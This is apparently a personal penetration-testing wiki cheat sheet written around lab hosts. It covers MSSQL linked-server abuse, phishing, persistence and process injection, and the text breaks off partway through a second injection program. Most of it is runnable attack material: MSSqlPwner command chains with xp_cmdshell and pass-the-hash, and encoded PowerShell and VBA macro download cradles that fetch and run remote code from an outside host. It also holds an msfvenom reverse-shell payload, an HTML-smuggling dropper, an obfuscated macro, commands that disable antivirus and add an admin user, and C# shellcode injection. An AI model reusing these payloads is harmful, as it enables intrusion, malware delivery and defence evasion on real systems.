[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
